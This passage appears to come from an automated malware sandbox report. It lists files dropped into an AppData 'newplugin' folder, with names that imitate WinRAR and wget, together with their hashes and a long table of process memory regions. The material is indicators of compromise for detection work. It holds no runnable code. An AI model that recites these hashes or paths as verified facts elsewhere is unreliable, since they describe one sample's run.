          832ac4660dcf9bd3083cf9599ae13660a89e59fdb2b73858b3f5292868f2648e

          SHA512

          4e805d16166c61c8dbe1821a5d98cac0903071b30c966b96298916111320c0b7100ba8000114da04416d4821dd21f31222e69e2629b1eb863d207cd706aad178

        • C:\Users\Admin\AppData\Roaming\newplugin\WinRAR.exe

          Filesize

          2.1MB

          MD5

          f59f4f7bea12dd7c8d44f0a717c21c8e

          SHA1

          17629ccb3bd555b72a4432876145707613100b3e

          SHA256

          f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

          SHA512

          44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

        • C:\Users\Admin\AppData\Roaming\newplugin\WinRAR.exe

          Filesize

          2.1MB

          MD5

          f59f4f7bea12dd7c8d44f0a717c21c8e

          SHA1

          17629ccb3bd555b72a4432876145707613100b3e

          SHA256

          f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

          SHA512

          44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

        • C:\Users\Admin\AppData\Roaming\newplugin\pluginrbtry

          Filesize

          1.4MB

          MD5

          dfc6dea4866076348a7d98bdd79d418b

          SHA1

          76e8f54123c0438f030f04bee4c73809abd01659

          SHA256

          8ad5c26e644094cfdbe3cdce9f3597a36ca3e163d6ff7fd112546dcc82e75f01

          SHA512

          e68ca27cf028685339dddde88b4b668ab7a0ec68ae7b21fbd1b368aa5045e4e3b065f462bf022a09364c542a4300972c11494efac1523f97416f529f78615737

        • C:\Users\Admin\AppData\Roaming\newplugin\pluginrbtry

          Filesize

          1.4MB

          MD5

          dfc6dea4866076348a7d98bdd79d418b

          SHA1

          76e8f54123c0438f030f04bee4c73809abd01659

          SHA256

          8ad5c26e644094cfdbe3cdce9f3597a36ca3e163d6ff7fd112546dcc82e75f01

          SHA512

          e68ca27cf028685339dddde88b4b668ab7a0ec68ae7b21fbd1b368aa5045e4e3b065f462bf022a09364c542a4300972c11494efac1523f97416f529f78615737

        • C:\Users\Admin\AppData\Roaming\newplugin\setups.exe

          Filesize

          364KB

          MD5

          a371421bfe2b541c078fc43b008a4e27

          SHA1

          f74b4931c61a54ea12a10a5b6b48c8bb4dd4706b

          SHA256

          b8f5519f7d66e7940e92f49c9f5f0cac0ae12cc9c9072c5308475bd5d093cdca

          SHA512

          653c62cc43ec2cda143cdce4ee633f6482a780cb83b36dafc9625f3406756909f5d7250b2d6610b57858b3154e7b461fddded2bc20436865d3e59ca88d96b5e8

        • C:\Users\Admin\AppData\Roaming\newplugin\setups.exe

          Filesize

          364KB

          MD5

          a371421bfe2b541c078fc43b008a4e27

          SHA1

          f74b4931c61a54ea12a10a5b6b48c8bb4dd4706b

          SHA256

          b8f5519f7d66e7940e92f49c9f5f0cac0ae12cc9c9072c5308475bd5d093cdca

          SHA512

          653c62cc43ec2cda143cdce4ee633f6482a780cb83b36dafc9625f3406756909f5d7250b2d6610b57858b3154e7b461fddded2bc20436865d3e59ca88d96b5e8

        • C:\Users\Admin\AppData\Roaming\newplugin\wget.exe

          Filesize

          4.9MB

          MD5

          8c04808e4ba12cb793cf661fbbf6c2a0

          SHA1

          bdfdb50c5f251628c332042f85e8dd8cf5f650e3

          SHA256

          a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

          SHA512

          9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

        • C:\Users\Admin\AppData\Roaming\newplugin\wget.exe

          Filesize

          4.9MB

          MD5

          8c04808e4ba12cb793cf661fbbf6c2a0

          SHA1

          bdfdb50c5f251628c332042f85e8dd8cf5f650e3

          SHA256

          a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

          SHA512

          9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

        • C:\Users\Admin\AppData\Roaming\newplugin\wget.exe

          Filesize

          4.9MB

          MD5

          8c04808e4ba12cb793cf661fbbf6c2a0

          SHA1

          bdfdb50c5f251628c332042f85e8dd8cf5f650e3

          SHA256

          a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

          SHA512

          9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

        • C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe

          Filesize

          2.1MB

          MD5

          f59f4f7bea12dd7c8d44f0a717c21c8e

          SHA1

          17629ccb3bd555b72a4432876145707613100b3e

          SHA256

          f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

          SHA512

          44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

        • memory/208-511-0x0000000002C40000-0x0000000002C50000-memory.dmp

          Filesize

          64KB

        • memory/208-596-0x0000000002C40000-0x0000000002C50000-memory.dmp

          Filesize

          64KB

        • memory/208-501-0x0000000005320000-0x0000000005340000-memory.dmp

          Filesize

          128KB

        • memory/1764-531-0x0000000000400000-0x00000000008F2000-memory.dmp

          Filesize

          4.9MB

        • memory/1916-472-0x0000000005000000-0x0000000005010000-memory.dmp

          Filesize

          64KB

        • memory/1916-471-0x0000000000590000-0x0000000000712000-memory.dmp

          Filesize

          1.5MB

        • memory/1916-549-0x0000000005000000-0x0000000005010000-memory.dmp

          Filesize

          64KB

        • memory/1964-755-0x0000000009680000-0x0000000009842000-memory.dmp

          Filesize

          1.8MB

        • memory/1964-714-0x0000000005530000-0x0000000005540000-memory.dmp

          Filesize

          64KB

        • memory/1964-651-0x0000000005720000-0x000000000575C000-memory.dmp

          Filesize

          240KB

        • memory/1964-758-0x0000000009D80000-0x000000000A2AC000-memory.dmp

          Filesize

          5.2MB

        • memory/1964-769-0x0000000007A50000-0x0000000007AA0000-memory.dmp

          Filesize

          320KB

        • memory/1964-710-0x00000000071A0000-0x0000000007744000-memory.dmp

          Filesize

          5.6MB

        • memory/1964-645-0x00000000056C0000-0x00000000056D2000-memory.dmp

          Filesize

          72KB

        • memory/1964-644-0x0000000005790000-0x000000000589A000-memory.dmp

          Filesize

          1.0MB

        • memory/1964-641-0x0000000005CA0000-0x00000000062B8000-memory.dmp

          Filesize

          6.1MB

        • memory/1964-597-0x0000000000400000-0x0000000000440000-memory.dmp

          Filesize

          256KB

        • memory/1964-708-0x0000000005A50000-0x0000000005AC6000-memory.dmp

          Filesize

          472KB

        • memory/1984-146-0x00000000055E0000-0x0000000005646000-memory.dmp

          Filesize

          408KB

        • memory/1984-157-0x0000000004970000-0x0000000004980000-memory.dmp

          Filesize

          64KB

        • memory/1984-158-0x0000000007650000-0x0000000007CCA000-memory.dmp

          Filesize

          6.5MB

        • memory/1984-159-0x0000000006240000-0x000000000625A000-memory.dmp

          Filesize

          104KB

        • memory/1984-145-0x0000000004F40000-0x0000000004FA6000-memory.dmp

          Filesize

          408KB

        • memory/1984-140-0x0000000002350000-0x0000000002386000-memory.dmp

          Filesize

          216KB

        • memory/1984-141-0x0000000004FB0000-0x00000000055D8000-memory.dmp

          Filesize

          6.2MB

        • memory/1984-142-0x0000000004970000-0x0000000004980000-memory.dmp

          Filesize

          64KB

        • memory/1984-156-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

          Filesize

          120KB

        • memory/1984-143-0x0000000004970000-0x0000000004980000-memory.dmp

          Filesize

          64KB

        • memory/1984-144-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

          Filesize

          136KB

        • memory/2292-686-0x0000000000400000-0x00000000008F2000-memory.dmp

          Filesize

          4.9MB

        • memory/2996-546-0x0000000024EA0000-0x0000000024F32000-memory.dmp

          Filesize

          584KB

        • memory/2996-449-0x000000000B2D0000-0x000000000B308000-memory.dmp

          Filesize

          224KB

        • memory/2996-450-0x000000000B2A0000-0x000000000B2AE000-memory.dmp

          Filesize

          56KB

        • memory/2996-184-0x0000000005620000-0x0000000005630000-memory.dmp

          Filesize

          64KB

        • memory/2996-183-0x0000000000B80000-0x0000000000CF8000-memory.dmp

          Filesize

          1.5MB

        • memory/3008-4643-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-6495-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-4641-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-4398-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-4642-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-3612-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-4644-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-3645-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-3641-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-3643-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3008-3642-0x00000236AB470000-0x00000236AB480000-memory.dmp

          Filesize

          64KB

        • memory/3388-534-0x000000001BAE0000-0x000000001BAF0000-memory.dmp

          Filesize

          64KB

        • memory/3388-448-0x0000000000D30000-0x0000000000EA0000-memory.dmp

          Filesize

          1.4MB

        • memory/3388-680-0x000000001BAE0000-0x000000001BAF0000-memory.dmp

          Filesize

          64KB

        • memory/3388-535-0x00000000014D0000-0x00000000014D1000-memory.dmp

          Filesize

          4KB

        • memory/3740-711-0x000001E165860000-0x000001E165890000-memory.dmp

          Filesize

          192KB

        • memory/3740-642-0x00007FF8F3A70000-0x00007FF8F3A71000-memory.dmp

          Filesize

          4KB

        • memory/3740-643-0x00007FF8F29A0000-0x00007FF8F29A1000-memory.dmp

          Filesize

          4KB

        • memory/4280-713-0x0000021E24C60000-0x0000021E24D21000-memory.dmp

          Filesize

          772KB

        • memory/4280-989-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-746-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-748-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-752-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-750-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-742-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-754-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-757-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-740-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-760-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-762-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-766-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-764-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-738-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-768-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-771-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-774-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-776-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-778-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-780-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-789-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-991-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-744-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-996-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-993-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-732-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-730-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-726-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-700-0x0000021E096F0000-0x0000021E096F6000-memory.dmp

          Filesize

          24KB

        • memory/4280-3607-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-724-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-722-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-720-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-718-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-717-0x0000021E250B0000-0x0000021E251B8000-memory.dmp

          Filesize

          1.0MB

        • memory/4280-716-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-715-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-701-0x0000021E23BF0000-0x0000021E23C00000-memory.dmp

          Filesize

          64KB

        • memory/4280-712-0x0000021E23BD0000-0x0000021E23BD1000-memory.dmp

          Filesize

          4KB

        • memory/4280-709-0x0000021E24C30000-0x0000021E24C52000-memory.dmp

          Filesize

          136KB

        • memory/4520-610-0x000001D89A3A0000-0x000001D89A448000-memory.dmp

          Filesize

          672KB

        • memory/4520-560-0x000001D8FF470000-0x000001D8FF664000-memory.dmp

          Filesize

          2.0MB

        • memory/4520-589-0x000001D89A150000-0x000001D89A160000-memory.dmp

          Filesize

          64KB

        • memory/4520-590-0x000001D89A7D0000-0x000001D89ACF8000-memory.dmp

          Filesize

          5.2MB

        • memory/5056-187-0x0000000000400000-0x00000000008F2000-memory.dmp

          Filesize

          4.9MB

        • memory/5064-6496-0x000002487E600000-0x000002487E610000-memory.dmp

          Filesize

          64KB